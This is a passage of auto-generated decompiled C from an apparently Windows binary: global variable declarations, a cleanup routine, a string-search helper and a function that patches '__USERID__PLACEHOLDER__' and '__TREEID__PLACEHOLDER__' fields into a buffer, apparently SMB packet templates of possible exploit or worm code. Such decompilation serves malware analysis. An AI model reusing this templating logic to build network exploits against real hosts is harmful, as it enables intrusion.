  1050. int32_t g820 = 0; // 0x55e4bc
  1051. int32_t g821 = 0; // 0x55e4c0
  1052. char * g822; // 0x55e4c4
  1053. int32_t g823 = 0; // 0x560bd8
  1054. int32_t g824 = 0; // 0x560bdc
  1055. int32_t g825 = 0; // 0x560be0
  1056. int32_t g826 = 0; // 0x560be4
  1057. int32_t g827 = 0; // 0x560be8
  1058. char * g828; // 0x560bec
  1059. int32_t g829 = 0; // 0x563300
  1060. int32_t g830 = 0; // 0x563304
  1061. int32_t g831 = 0; // 0x563308
  1062. int32_t g832 = 0; // 0x56330c
  1063. int32_t g833 = 0; // 0x563310
  1064. char * g834; // 0x563314
  1065. int32_t g835 = 0; // 0x565a28
  1066. int32_t g836 = 0; // 0x565a2c
  1067. int32_t g837 = 0; // 0x565a30
  1068. int32_t g838 = 0; // 0x565a34
  1069. int32_t g839 = 0; // 0x565a38
  1070. char * g840; // 0x565a3c
  1071. int32_t g841 = 0; // 0x568150
  1072. int32_t g842 = 0; // 0x568154
  1073. int32_t g843 = 0; // 0x568158
  1074. int32_t g844 = 0; // 0x56815c
  1075. int32_t g845 = 0; // 0x568160
  1076. char * g846; // 0x568164
  1077. int32_t g847 = 0; // 0x56a878
  1078. int32_t g848 = 0; // 0x56a87c
  1079. int32_t g849 = 0; // 0x56a880
  1080. int32_t g850 = 0; // 0x56a884
  1081. int32_t g851 = 0; // 0x56a888
  1082. char * g852; // 0x56a88c
  1083. int32_t g853 = 0; // 0x56cfa0
  1084. int32_t g854 = 0; // 0x56cfa4
  1085. int32_t g855 = 0; // 0x56cfa8
  1086. int32_t g856 = 0; // 0x56cfac
  1087. int32_t g857 = 0; // 0x56cfb0
  1088. char * g858; // 0x56cfb4
  1089. int32_t g859 = 0; // 0x56f6c8
  1090. int32_t g860 = 0; // 0x56f6cc
  1091. int32_t g861 = 0; // 0x56f6d0
  1092. int32_t g862 = 0; // 0x56f6d4
  1093. int32_t g863 = 0; // 0x56f6d8
  1094. char * g864; // 0x56f6dc
  1095. int32_t g865 = 0; // 0x571df0
  1096. int32_t g866 = 0; // 0x571df4
  1097. int32_t g867 = 0; // 0x571df8
  1098. int32_t g868 = 0; // 0x571dfc
  1099. int32_t g869 = 0; // 0x571e00
  1100. char * g870; // 0x571e04
  1101. int32_t g871 = 0; // 0x574518
  1102. int32_t g872 = 0; // 0x57451c
  1103. int32_t g873 = 0; // 0x574520
  1104. int32_t g874 = 0; // 0x574524
  1105. int32_t g875 = 0; // 0x574528
  1106. char * g876; // 0x57452c
  1107. int32_t g877 = 0; // 0x576c40
  1108. int32_t g878 = 0; // 0x576c44
  1109. int32_t g879 = 0; // 0x576c48
  1110. int32_t g880 = 0; // 0x576c4c
  1111. int32_t g881 = 0; // 0x576c50
  1112. char * g882; // 0x576c54
  1113. int32_t g883 = 0; // 0x579368
  1114. int32_t g884 = 0; // 0x57936c
  1115. int32_t g885 = 0; // 0x579370
  1116. int32_t g886 = 0; // 0x579374
  1117. int32_t g887 = 0; // 0x579378
  1118. char * g888; // 0x57937c
  1119. int32_t g889 = 0; // 0x57ba90
  1120. int32_t g890 = 0; // 0x57ba94
  1121. int32_t g891 = 0; // 0x57ba98
  1122. int32_t g892 = 0; // 0x57ba9c
  1123. int32_t g893 = 0; // 0x57baa0
  1124. char * g894; // 0x57baa4
  1125. int32_t g895 = 0; // 0x57e1b8
  1126. int32_t g896 = 0; // 0x57e1bc
  1127. int32_t g897 = 0; // 0x57e1c0
  1128. int32_t g898 = 0; // 0x57e1c4
  1129. int32_t g899 = 0; // 0x57e1c8
  1130. char * g900; // 0x57e1cc
  1131. int32_t g901 = 0; // 0x5808e0
  1132. int32_t g902 = 0; // 0x5808e4
  1133. int32_t g903 = 0; // 0x5808e8
  1134. int32_t g904 = 0; // 0x5808ec
  1135. int32_t g905 = 0; // 0x5808f0
  1136. char * g906; // 0x5808f4
  1137. int32_t g907 = 0; // 0x583008
  1138. int32_t g908 = 0; // 0x58300c
  1139. int32_t g909 = 0; // 0x583010
  1140. int32_t g910 = 0; // 0x583014
  1141. int32_t g911 = 0; // 0x583018
  1142. char * g912; // 0x58301c
  1143. int32_t g913 = 0; // 0x585730
  1144. int32_t g914 = 0; // 0x585734
  1145. int32_t g915 = 0; // 0x585738
  1146. int32_t g916 = 0; // 0x58573c
  1147. int32_t g917 = 0; // 0x585740
  1148. char * g918; // 0x585744
  1149. int32_t g919 = 0; // 0x587e58
  1150. int32_t g920 = 0; // 0x587e5c
  1151. int32_t g921 = 0; // 0x587e60
  1152. int32_t g922 = 0; // 0x587e64
  1153. int32_t g923 = 0; // 0x587e68
  1154. char * g924; // 0x587e6c
  1155. int32_t g925 = 0; // 0x58a580
  1156. int32_t g926 = 0; // 0x58a584
  1157. int32_t g927 = 0; // 0x58a588
  1158. int32_t g928 = 0; // 0x58a58c
  1159. int32_t g929 = 0; // 0x58a590
  1160. char * g930; // 0x58a594
  1161. int32_t g931 = 0; // 0x58cca8
  1162. int32_t g932 = 0; // 0x58ccac
  1163. int32_t g933 = 0; // 0x58ccb0
  1164. int32_t g934 = 0; // 0x58ccb4
  1165. int32_t g935 = 0; // 0x58ccb8
  1166. char * g936; // 0x58ccbc
  1167. int32_t g937 = 0; // 0x58f3d0
  1168. int32_t g938 = 0; // 0x58f3d4
  1169. int32_t g939 = 0; // 0x58f3d8
  1170. int32_t g940 = 0; // 0x58f3dc
  1171. int32_t g941 = 0; // 0x58f3e0
  1172. char * g942; // 0x58f3e4
  1173. int32_t g943 = 0; // 0x591af8
  1174. int32_t g944 = 0; // 0x591afc
  1175. int32_t g945 = 0; // 0x591b00
  1176. int32_t g946 = 0; // 0x591b04
  1177. int32_t g947 = 0; // 0x591b08
  1178. char * g948; // 0x591b0c
  1179. int32_t g949 = 0; // 0x594220
  1180. int32_t g950 = 0; // 0x594224
  1181. int32_t g951 = 0; // 0x594228
  1182. int32_t g952 = 0; // 0x59422c
  1183. int32_t g953 = 0; // 0x594230
  1184. char * g954; // 0x594234
  1185. int32_t g955 = 0; // 0x596948
  1186. int32_t g956 = 0; // 0x59694c
  1187. int32_t g957 = 0; // 0x596950
  1188. int32_t g958 = 0; // 0x596954
  1189. int32_t g959 = 0; // 0x596958
  1190. char * g960; // 0x59695c
  1191. int32_t g961 = 0; // 0x599070
  1192. int32_t g962 = 0; // 0x599074
  1193. int32_t g963 = 0; // 0x599078
  1194. int32_t g964 = 0; // 0x59907c
  1195. int32_t g965 = 0; // 0x599080
  1196. char * g966; // 0x599084
  1197. int32_t g967 = 0; // 0x59b798
  1198. int32_t g968 = 0; // 0x59b79c
  1199. int32_t g969 = 0; // 0x59b7a0
  1200. int32_t g970 = 0; // 0x59b7a4
  1201. int32_t g971 = 0; // 0x59b7a8
  1202. char * g972; // 0x59b7ac
  1203. int32_t g973 = 0; // 0x59dec0
  1204. int32_t g974 = 0; // 0x59dec4
  1205. int32_t g975 = 0; // 0x59dec8
  1206. int32_t g976 = 0; // 0x59decc
  1207. int32_t g977 = 0; // 0x59ded0
  1208. char * g978; // 0x59ded4
  1209. int32_t g979 = 0; // 0x5a05e8
  1210. int32_t g980 = 0; // 0x5a05ec
  1211. int32_t g981 = 0; // 0x5a05f0
  1212. int32_t g982 = 0; // 0x5a05f4
  1213. int32_t g983 = 0; // 0x5a05f8
  1214. char * g984; // 0x5a05fc
  1215. int32_t g985 = 0; // 0x5a2d10
  1216. int32_t g986 = 0; // 0x5a2d14
  1217. int32_t g987 = 0; // 0x5a2d18
  1218. int32_t g988 = 0; // 0x5a2d1c
  1219. int32_t g989 = 0; // 0x5a2d20
  1220. char * g990; // 0x5a2d24
  1221. int32_t g991 = 0; // 0x5a5438
  1222. int32_t g992 = 0; // 0x5a543c
  1223. int32_t g993 = 0; // 0x5a5440
  1224. int32_t g994 = 0; // 0x5a5444
  1225. int32_t g995 = 0; // 0x5a5448
  1226. char * g996; // 0x5a544c
  1227. int32_t g997 = 0; // 0x5a7b60
  1228. int32_t g998 = 0; // 0x5a7b64
  1229. int32_t g999 = 0; // 0x5a7b68
  1230. int32_t g1000 = 0; // 0x5a7b6c
  1231. int32_t g1001 = 0; // 0x5a7b70
  1232. char * g1002; // 0x5a7b74
  1233. int32_t g1003 = 0; // 0x5aa288
  1234. int32_t g1004 = 0; // 0x5aa28c
  1235. int32_t g1005 = 0; // 0x5aa290
  1236. int32_t g1006 = 0; // 0x5aa294
  1237. int32_t g1007 = 0; // 0x5aa298
  1238. char * g1008; // 0x5aa29c
  1239. int32_t g1009 = 0; // 0x5ac9b0
  1240. int32_t g1010 = 0; // 0x5ac9b4
  1241. int32_t g1011 = 0; // 0x5ac9b8
  1242. int32_t g1012 = 0; // 0x5ac9bc
  1243. int32_t g1013 = 0; // 0x5ac9c0
  1244. char * g1014; // 0x5ac9c4
  1245. int32_t g1015 = 0; // 0x5af0d8
  1246. int32_t g1016 = 0; // 0x5af0dc
  1247. int32_t g1017 = 0; // 0x5af0e0
  1248. int32_t g1018 = 0; // 0x5af0e4
  1249. int32_t g1019 = 0; // 0x5af0e8
  1250. char * g1020; // 0x5af0ec
  1251. int32_t g1021 = 0; // 0x5b1800
  1252. int32_t g1022 = 0; // 0x5b1804
  1253. int32_t g1023 = 0; // 0x5b1808
  1254. int32_t g1024 = 0; // 0x5b180c
  1255. int32_t g1025 = 0; // 0x5b1810
  1256. char * g1026; // 0x5b1814
  1257. int32_t g1027 = 0; // 0x5b3f28
  1258. int32_t g1028 = 0; // 0x5b3f2c
  1259. int32_t g1029 = 0; // 0x5b3f30
  1260. int32_t g1030 = 0; // 0x5b3f34
  1261. int32_t g1031 = 0; // 0x5b3f38
  1262. char * g1032; // 0x5b3f3c
  1263. int32_t g1033 = 0; // 0x5b6650
  1264. int32_t g1034 = 0; // 0x5b6654
  1265. int32_t g1035 = 0; // 0x5b6658
  1266. int32_t g1036 = 0; // 0x5b665c
  1267. int32_t g1037 = 0; // 0x5b6660
  1268. char * g1038; // 0x5b6664
  1269. int32_t g1039 = 0; // 0x5b8d78
  1270. int32_t g1040 = 0; // 0x5b8d7c
  1271. int32_t g1041 = 0; // 0x5b8d80
  1272. int32_t g1042 = 0; // 0x5b8d84
  1273. int32_t g1043 = 0; // 0x5b8d88
  1274. char * g1044; // 0x5b8d8c
  1275. int32_t g1045 = 0; // 0x5bb4a0
  1276. int32_t g1046 = 0; // 0x5bb4a4
  1277. int32_t g1047 = 0; // 0x5bb4a8
  1278. int32_t g1048 = 0; // 0x5bb4ac
  1279. int32_t g1049 = 0; // 0x5bb4b0
  1280. char * g1050; // 0x5bb4b4
  1281. int32_t g1051 = 0; // 0x5bdbc8
  1282. int32_t g1052 = 0; // 0x5bdbcc
  1283. int32_t g1053 = 0; // 0x5bdbd0
  1284. int32_t g1054 = 0; // 0x5bdbd4
  1285. int32_t g1055 = 0; // 0x5bdbd8
  1286. char * g1056; // 0x5bdbdc
  1287. int32_t g1057 = 0; // 0x5c02f0
  1288. int32_t g1058 = 0; // 0x5c02f4
  1289. int32_t g1059 = 0; // 0x5c02f8
  1290. int32_t g1060 = 0; // 0x5c02fc
  1291. int32_t g1061 = 0; // 0x5c0300
  1292. char * g1062; // 0x5c0304
  1293. int32_t g1063 = 0; // 0x5c2a18
  1294. int32_t g1064 = 0; // 0x5c2a1c
  1295. int32_t g1065 = 0; // 0x5c2a20
  1296. int32_t g1066 = 0; // 0x5c2a24
  1297. int32_t g1067 = 0; // 0x5c5140
  1298. int32_t g1068 = 0; // 0x5c5144
  1299. int32_t g1069 = 0; // 0x5c5148
  1300. int32_t g1070 = 0; // 0x5c514c
  1301. int32_t g1071 = 0; // 0x5c7868
  1302. int32_t g1072 = 0; // 0x5c786c
  1303. int32_t g1073 = 0; // 0x5c7870
  1304. int32_t g1074 = 0; // 0x5c7874
  1305. int32_t g1075 = 0; // 0x5c9f90
  1306. int32_t g1076 = 0; // 0x5c9f94
  1307. int32_t g1077 = 0; // 0x5c9f98
  1308. int32_t g1078 = 0; // 0x5c9f9c
  1309. int32_t g1079 = 0; // 0x5cc6b8
  1310. int32_t g1080 = 0; // 0x5cc6bc
  1311. int32_t g1081 = 0; // 0x5cc6c0
  1312. int32_t g1082 = 0; // 0x5cc6c4
  1313. int32_t g1083 = 0; // 0x5cede0
  1314. int32_t g1084 = 0; // 0x5cede4
  1315. int32_t g1085 = 0; // 0x5cede8
  1316. int32_t g1086 = 0; // 0x5cedec
  1317. int32_t g1087 = 0; // 0x5d1508
  1318. int32_t g1088 = 0; // 0x5d150c
  1319. int32_t g1089 = 0; // 0x5d1510
  1320. int32_t g1090 = 0; // 0x5d1514
  1321. int32_t g1091 = 0; // 0x5d3c30
  1322. int32_t g1092 = 0; // 0x5d3c34
  1323. int32_t g1093 = 0; // 0x5d3c38
  1324. int32_t g1094 = 0; // 0x5d3c3c
  1325. int32_t g1095 = 0; // 0x5d6358
  1326. int32_t g1096 = 0; // 0x5d635c
  1327. int32_t g1097 = 0; // 0x5d6360
  1328. int32_t g1098 = 0; // 0x5d6364
  1329. int32_t g1099 = 0; // 0x5d8a80
  1330. int32_t g1100 = 0; // 0x5d8a84
  1331. int32_t g1101 = 0; // 0x5d8a88
  1332. int32_t g1102 = 0; // 0x5d8a8c
  1333. int32_t g1103 = 0; // 0x5db1a8
  1334. int32_t g1104 = 0; // 0x5db1ac
  1335. int32_t g1105 = 0; // 0x5db1b0
  1336. int32_t g1106 = 0; // 0x5db1b4
  1337. int32_t g1107 = 0; // 0x5dd8d0
  1338. int32_t g1108 = 0; // 0x5dd8d4
  1339. int32_t g1109 = 0; // 0x5dd8d8
  1340. int32_t g1110 = 0; // 0x5dd8dc
  1341. int32_t g1111 = 0; // 0x5dfff8
  1342. int32_t g1112 = 0; // 0x5dfffc
  1343. int32_t g1113 = 0; // 0x5e0000
  1344. int32_t g1114 = 0; // 0x5e0004
  1345. int32_t g1115 = 0; // 0x5e2720
  1346. int32_t g1116 = 0; // 0x5e2724
  1347. int32_t g1117 = 0; // 0x5e2728
  1348. int32_t g1118 = 0; // 0x5e272c
  1349. int32_t g1119 = 0; // 0x5e4e48
  1350. int32_t g1120 = 0; // 0x5e4e4c
  1351. int32_t g1121 = 0; // 0x5e4e50
  1352. int32_t g1122 = 0; // 0x5e4e54
  1353. int32_t g1123 = 0; // 0x5e4e58
  1354. char * g1124; // 0x5e4e5c
  1355. int32_t g1125 = 0; // 0x5e7570
  1356. int32_t g1126 = 0; // 0x5e7574
  1357. int32_t g1127 = 0; // 0x5e7578
  1358. int32_t g1128 = 0; // 0x5e757c
  1359. int32_t g1129 = 0; // 0x5e9c98
  1360. int32_t g1130 = 0; // 0x5e9c9c
  1361. int32_t g1131 = 0; // 0x5e9ca0
  1362. int32_t g1132 = 0; // 0x5e9ca4
  1363. int32_t g1133 = 0; // 0x5e9ca8
  1364. char * g1134; // 0x5e9cac
  1365. int32_t g1135 = 0; // 0x5ec3c0
  1366. int32_t g1136 = 0; // 0x5ec3c4
  1367. int32_t g1137 = 0; // 0x5ec3c8
  1368. int32_t g1138 = 0; // 0x5ec3cc
  1369. int32_t g1139 = 0; // 0x5eeae8
  1370. int32_t g1140 = 0; // 0x5eeaec
  1371. int32_t g1141 = 0; // 0x5eeaf0
  1372. int32_t g1142 = 0; // 0x5eeaf4
  1373. int32_t g1143 = 0; // 0x5f1210
  1374. int32_t g1144 = 0; // 0x5f1214
  1375. int32_t g1145 = 0; // 0x5f1218
  1376. int32_t g1146 = 0; // 0x5f121c
  1377. int32_t g1147 = 0; // 0x5f3938
  1378. int32_t g1148 = 0; // 0x5f393c
  1379. int32_t g1149 = 0; // 0x5f3940
  1380. int32_t g1150 = 0; // 0x5f3944
  1381. int32_t g1151 = 0; // 0x5f6060
  1382. int32_t g1152 = 0; // 0x5f6064
  1383. int32_t g1153 = 0; // 0x5f6068
  1384. int32_t g1154 = 0; // 0x5f606c
  1385. int32_t g1155 = 0; // 0x5f8788
  1386. int32_t g1156 = 0; // 0x5f878c
  1387. int32_t g1157 = 0; // 0x5f8790
  1388. int32_t g1158 = 0; // 0x5f8794
  1389. int32_t g1159 = 0; // 0x5f8798
  1390. char * g1160; // 0x5f879c
  1391. int32_t g1161 = 0; // 0x5faeb0
  1392. int32_t g1162 = 0; // 0x5faeb4
  1393. int32_t g1163 = 0; // 0x5faeb8
  1394. int32_t g1164 = 0; // 0x5faebc
  1395. int32_t g1165 = 0; // 0x5fd5d8
  1396. int32_t g1166 = 0; // 0x5fd5dc
  1397. int32_t g1167 = 0; // 0x5fd5e0
  1398. int32_t g1168 = 0; // 0x5fd5e4
  1399. int32_t g1169 = 0; // 0x5ffd00
  1400. int32_t g1170 = 0; // 0x5ffd04
  1401. int32_t g1171 = 0; // 0x692f20
  1402. struct _SERVICE_TABLE_ENTRYA * g1172 = NULL; // 0x70f760
  1403. struct _OVERLAPPED * g1173 = NULL; // 0x70f864
  1404. int32_t g1174 = 0; // 0x70f868
  1405. char * g1175; // 0x70f86c
  1406. int32_t g1176 = 0; // 0x70f870
  1407. int32_t g1177 = 0; // 0x70f874
  1408. int32_t g1178 = 0; // 0x70f878
  1409. void (****g1179)() = NULL; // 0x70f894
  1410. void (****g1180)() = NULL; // 0x70f898
  1411. int32_t g1181 = 0x4cee308b; // 0x905a4d
  1412. bool g1182 = false; // zf
  1413. int32_t * g22 = &g1181; // 0x40b020
  1414. int32_t * g23 = &g1181; // 0x40f080
  1415. int32_t * g84 = &g24; // 0x42e6dc
  1416. char (*g94)[819] = &g35; // 0x42e730
  1417. int32_t * g104 = &g1171; // 0x431340
  1418.  
  1419. // ------------------------ Functions -------------------------
  1420.  
  1421. // Address range: 0x401000 - 0x40100f
  1422. void function_401000(void) {
  1423.     // 0x401000
  1424.     function_401010();
  1425.     function_401030();
  1426. }
  1427.  
  1428. // Address range: 0x401010 - 0x40102f
  1429. void function_401010(void) {
  1430.     g4 = &g119;
  1431.     int32_t v1;
  1432.     int32_t v2;
  1433.     int32_t v3;
  1434.     function_408200((char *)&v1, (char *)&v2, v3);
  1435. }
  1436.  
  1437. // Address range: 0x401030 - 0x40103f
  1438. void function_401030(void) {
  1439.     // 0x401030
  1440.     function_409842((int32_t)function_401040);
  1441. }
  1442.  
  1443. // Address range: 0x401040 - 0x40113f
  1444. int32_t function_401040(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
  1445.     int32_t v1;
  1446.     int32_t v2 = &v1; // 0x401050_3
  1447.     int32_t v3 = g2; // 0x401054
  1448.     g7 = &g119;
  1449.     int32_t v4 = g5; // 0x401058
  1450.     g2 = 0;
  1451.     int32_t v5 = g120;
  1452.     g5 = v5;
  1453.     int32_t v6 = *(int32_t *)v5; // 0x401063
  1454.     g1 = v6;
  1455.     v1 = v6;
  1456.     int32_t v7; // esi
  1457.     int32_t result; // 0x40113b_2
  1458.     int32_t v8; // 0x401127
  1459.     int32_t v9; // 0x401109
  1460.     int32_t v10; // 0x4010f2
  1461.     if (g121 == 0) {
  1462.         // 0x4010c2
  1463.         if (v6 == v5) {
  1464.             // 0x4010c2
  1465.             // branch -> 0x4010e6
  1466.         } else {
  1467.             // branch -> 0x4010c6
  1468.             while (true) {
  1469.                 // 0x4010c6
  1470.                 g4 = v2;
  1471.                 g3 = v6;
  1472.                 int32_t v11;
  1473.                 function_408a10(v11);
  1474.                 g4 = g7;
  1475.                 int32_t v12;
  1476.                 function_4085d0(&v12, (int32_t *)v6, v4);
  1477.                 g1 = v3;
  1478.                 if (v3 == g5) {
  1479.                     // 0x4010e6
  1480.                     // branch -> 0x4010e6
  1481.                     // 0x4010e6
  1482.                     function_4097fe((char *)g120);
  1483.                     v10 = g2;
  1484.                     g120 = v10;
  1485.                     g121 = v10;
  1486.                     v7 = 0;
  1487.                     _qm__qm_0_Lockit_std__QAE_XZ();
  1488.                     v9 = g1177 - 1;
  1489.                     g1 = v9;
  1490.                     g1177 = v9;
  1491.                     if (v9 == 0) {
  1492.                         // 0x401111
  1493.                         v7 = g1178;
  1494.                         g1178 = g2;
  1495.                         // branch -> 0x40111d
  1496.                     }
  1497.                     // 0x40111d
  1498.                     _qm__qm_1_Lockit_std__QAE_XZ();
  1499.                     v8 = v7;
  1500.                     if (v8 == g2) {
  1501.                         // 0x40111d
  1502.                         // branch -> 0x401134
  1503.                         // 0x401134
  1504.                         return g1;
  1505.                     }
  1506.                     // 0x40112b
  1507.                     result = function_4097fe((char *)v8);
  1508.                     // branch -> 0x401134
  1509.                     // 0x401134
  1510.                     return result;
  1511.                 }
  1512.                 // 0x4010c6
  1513.                 v11 = v6;
  1514.                 v6 = v3;
  1515.                 // branch -> 0x4010c6
  1516.             }
  1517.         }
  1518.         // 0x4010e6
  1519.         function_4097fe((char *)g120);
  1520.         v10 = g2;
  1521.         g120 = v10;
  1522.         g121 = v10;
  1523.         v7 = 0;
  1524.         _qm__qm_0_Lockit_std__QAE_XZ();
  1525.         v9 = g1177 - 1;
  1526.         g1 = v9;
  1527.         g1177 = v9;
  1528.         if (v9 == 0) {
  1529.             // 0x401111
  1530.             v7 = g1178;
  1531.             g1178 = g2;
  1532.             // branch -> 0x40111d
  1533.         }
  1534.         // 0x40111d
  1535.         _qm__qm_1_Lockit_std__QAE_XZ();
  1536.         v8 = v7;
  1537.         if (v8 == g2) {
  1538.             // 0x40111d
  1539.             result = g1;
  1540.             // branch -> 0x401134
  1541.         } else {
  1542.             // 0x40112b
  1543.             result = function_4097fe((char *)v8);
  1544.             // branch -> 0x401134
  1545.         }
  1546.         // 0x401134
  1547.         return result;
  1548.     }
  1549.     int32_t v13 = *(int32_t *)(v5 + 4); // 0x401071
  1550.     g3 = v13;
  1551.     g5 = v13;
  1552.     int32_t v14;
  1553.     int32_t v15;
  1554.     int32_t v16;
  1555.     if (v13 != g1178) {
  1556.         int32_t v17 = &g119; // 0x401082
  1557.         int32_t v18 = v13; // 0x40107f
  1558.         // branch -> 0x40107f
  1559.         while (true) {
  1560.             // 0x40107f
  1561.             g4 = v17;
  1562.             g1 = function_4089d0((int32_t *)*(int32_t *)(v18 + 8), v4);
  1563.             g5 = *(int32_t *)g5;
  1564.             function_4097fe((char *)g3);
  1565.             int32_t v19 = g1178; // 0x401092
  1566.             int32_t v20 = g5; // 0x40109a
  1567.             g3 = v20;
  1568.             if (v20 == v19) {
  1569.                 // 0x4010a0
  1570.                 // branch -> 0x4010a0
  1571.                 // 0x4010a0
  1572.                 *(int32_t *)(g120 + 4) = v19;
  1573.                 v15 = g120;
  1574.                 g121 = g2;
  1575.                 g4 = g7;
  1576.                 *(int32_t *)v15 = v15;
  1577.                 v16 = g120;
  1578.                 *(int32_t *)(v16 + 8) = v16;
  1579.                 g1 = function_4082b0((int32_t *)(int32_t)&v14, v4);
  1580.                 // branch -> 0x4010e6
  1581.                 // 0x4010e6
  1582.                 function_4097fe((char *)g120);
  1583.                 v10 = g2;
  1584.                 g120 = v10;
  1585.                 g121 = v10;
  1586.                 v7 = 0;
  1587.                 _qm__qm_0_Lockit_std__QAE_XZ();
  1588.                 v9 = g1177 - 1;
  1589.                 g1 = v9;
  1590.                 g1177 = v9;
  1591.                 if (v9 == 0) {
  1592.                     // 0x401111
  1593.                     v7 = g1178;
  1594.                     g1178 = g2;
  1595.                     // branch -> 0x40111d
  1596.                 }
  1597.                 // 0x40111d
  1598.                 _qm__qm_1_Lockit_std__QAE_XZ();
  1599.                 v8 = v7;
  1600.                 if (v8 == g2) {
  1601.                     // 0x40111d
  1602.                     // branch -> 0x401134
  1603.                     // 0x401134
  1604.                     return g1;
  1605.                 }
  1606.                 // 0x40112b
  1607.                 result = function_4097fe((char *)v8);
  1608.                 // branch -> 0x401134
  1609.                 // 0x401134
  1610.                 return result;
  1611.             }
  1612.             // 0x40107f
  1613.             v17 = g7;
  1614.             v18 = v20;
  1615.             // branch -> 0x40107f
  1616.         }
  1617.     }
  1618.     // 0x4010a0
  1619.     *(int32_t *)(v5 + 4) = v13;
  1620.     v15 = g120;
  1621.     g121 = g2;
  1622.     g4 = g7;
  1623.     *(int32_t *)v15 = v15;
  1624.     v16 = g120;
  1625.     *(int32_t *)(v16 + 8) = v16;
  1626.     g1 = function_4082b0((int32_t *)(int32_t)&v14, v4);
  1627.     // branch -> 0x4010e6
  1628.     // 0x4010e6
  1629.     function_4097fe((char *)g120);
  1630.     v10 = g2;
  1631.     g120 = v10;
  1632.     g121 = v10;
  1633.     v7 = 0;
  1634.     _qm__qm_0_Lockit_std__QAE_XZ();
  1635.     v9 = g1177 - 1;
  1636.     g1 = v9;
  1637.     g1177 = v9;
  1638.     if (v9 == 0) {
  1639.         // 0x401111
  1640.         v7 = g1178;
  1641.         g1178 = g2;
  1642.         // branch -> 0x40111d
  1643.     }
  1644.     // 0x40111d
  1645.     _qm__qm_1_Lockit_std__QAE_XZ();
  1646.     v8 = v7;
  1647.     if (v8 == g2) {
  1648.         // 0x40111d
  1649.         result = g1;
  1650.         // branch -> 0x401134
  1651.     } else {
  1652.         // 0x40112b
  1653.         result = function_4097fe((char *)v8);
  1654.         // branch -> 0x401134
  1655.     }
  1656.     // 0x401134
  1657.     return result;
  1658. }
  1659.  
  1660. // Address range: 0x401140 - 0x40118f
  1661. int32_t function_401140(char * str2, char * str, int32_t a3) {
  1662.     int32_t v1 = g5; // 0x401143
  1663.     int32_t result = (int32_t)str2;
  1664.     int32_t n = 0x1000000 * strlen(str) / 0x1000000; // 0x401159_2
  1665.     g6 = n;
  1666.     int32_t v2 = result - n; // 0x40115f
  1667.     g4 = v2;
  1668.     int32_t v3 = v2 + a3; // 0x401161
  1669.     int32_t v4;
  1670.     if (result > v3) {
  1671.         // 0x40117b
  1672.         // branch -> 0x40117d
  1673.         // 0x40117d
  1674.         g5 = v1;
  1675.         g3 = v4;
  1676.         return 0;
  1677.     }
  1678.     int32_t strncmp_rc = strncmp(str2, str, n);
  1679.     g4 = strncmp_rc;
  1680.     g1182 = (strncmp_rc & 1) == 0;
  1681.     if ((strncmp_rc & 1) == 0) {
  1682.         // 0x40117d
  1683.         g5 = v1;
  1684.         g3 = v4;
  1685.         return result;
  1686.     }
  1687.     int32_t v5 = result;
  1688.     int32_t str3; // 0x401176
  1689.     while (true) {
  1690.         // 0x401176
  1691.         str3 = v5 + 1;
  1692.         if (str3 > v3) {
  1693.             // 0x40117b
  1694.             // branch -> 0x40117d
  1695.             // 0x40117d
  1696.             g5 = v1;
  1697.             g3 = v4;
  1698.             return 0;
  1699.         }
  1700.         int32_t strncmp_rc2 = strncmp((char *)str3, str, g6);
  1701.         g4 = strncmp_rc2;
  1702.         g1182 = (strncmp_rc2 & 1) == 0;
  1703.         if ((strncmp_rc2 & 1) == 0) {
  1704.             // break -> 0x40117d
  1705.             break;
  1706.         }
  1707.         v5 = str3;
  1708.         // continue -> 0x401176
  1709.     }
  1710.     // 0x40117d
  1711.     g5 = v1;
  1712.     g3 = v4;
  1713.     return str3;
  1714. }
  1715.  
  1716. // Address range: 0x401190 - 0x40130f
  1717. int32_t function_401190(char * a1, int32_t a2, char * a3, char * a4, char * a5) {
  1718.     int32_t v1 = g2; // 0x401192
  1719.     g2 = a2;
  1720.     int32_t v2 = g7; // 0x401197
  1721.     int32_t v3 = (int32_t)a1;
  1722.     g7 = v3;
  1723.     g5 = v3;
  1724.     int32_t v4 = function_401140(a1, "__USERID__PLACEHOLDER__", a2); // 0x4011a6
  1725.     int32_t v5 = (int32_t)a3; // ebx
  1726.     int32_t v6; // edx
  1727.     int32_t v7; // 0x401240
  1728.     int32_t v8; // 0x401246
  1729.     if (v4 == 0) {
  1730.         // 0x401190
  1731.         v8 = g5;
  1732.         v7 = g2;
  1733.         // branch -> 0x401240
  1734.     } else {
  1735.         int32_t v9 = g7; // 0x4011c2
  1736.         int32_t v10 = v4 - v9; // 0x4011c2
  1737.         v6 = v10;
  1738.         memcpy(a3, (char *)v9, v10 / 4);
  1739.         memcpy(a3, (char *)g7, v10 & 3);
  1740.         *(char *)(v5 + v6) = *a4;
  1741.         char v11 = *(char *)((int32_t)a4 + 1); // 0x4011e2
  1742.         *(char *)(v6 + 1 + v5) = v11;
  1743.         uint32_t v12 = g2 - v6 - strlen("__USERID__PLACEHOLDER__"); // 0x4011f7
  1744.         char * v13 = (char *)(v6 + 2 + v5);
  1745.         char * v14 = (char *)(strlen("__USERID__PLACEHOLDER__") + v4);
  1746.         memcpy(v13, v14, v12 / 4);
  1747.         memcpy(v13, v14, v12 & 3);
  1748.         g7 = (int32_t)a1;
  1749.         g5 = v5;
  1750.         int32_t v15 = g2 - strlen("__USERID__PLACEHOLDER__") + 2; // 0x40123d
  1751.         g2 = v15;
  1752.         v8 = v5;
  1753.         v7 = v15;
  1754.         // branch -> 0x401240
  1755.     }
  1756.     int32_t v16 = function_401140((char *)v8, "__TREEID__PLACEHOLDER__", v7); // 0x401247
  1757.     int32_t v17 = 0; // 0x4012ed
  1758.     if (v16 != 0) {
  1759.         int32_t v18 = g5; // 0x40125d
  1760.         char * v19 = (char *)v18;
  1761.         int32_t v20 = v16 - v18; // 0x40125f
  1762.         v6 = v20;
  1763.         char * v21 = (char *)g3;
  1764.         memcpy(v21, v19, v20 / 4);
  1765.         memcpy(v21, v19, v20 & 3);
  1766.         *(char *)(g3 + v6) = *a5;
  1767.         char v22 = *(char *)((int32_t)a5 + 1); // 0x401281
  1768.         *(char *)(v6 + 1 + g3) = v22;
  1769.         uint32_t v23 = g2 - v6 - strlen("__TREEID__PLACEHOLDER__"); // 0x401296
  1770.         char * v24 = (char *)(v6 + 2 + g3);
  1771.         char * v25 = (char *)(strlen("__USERID__PLACEHOLDER__") + v16);
  1772.         memcpy(v24, v25, v23 / 4);
  1773.         memcpy(v24, v25, v23 & 3);
  1774.         g5 = (int32_t)"__TREEID__PLACEHOLDER__";
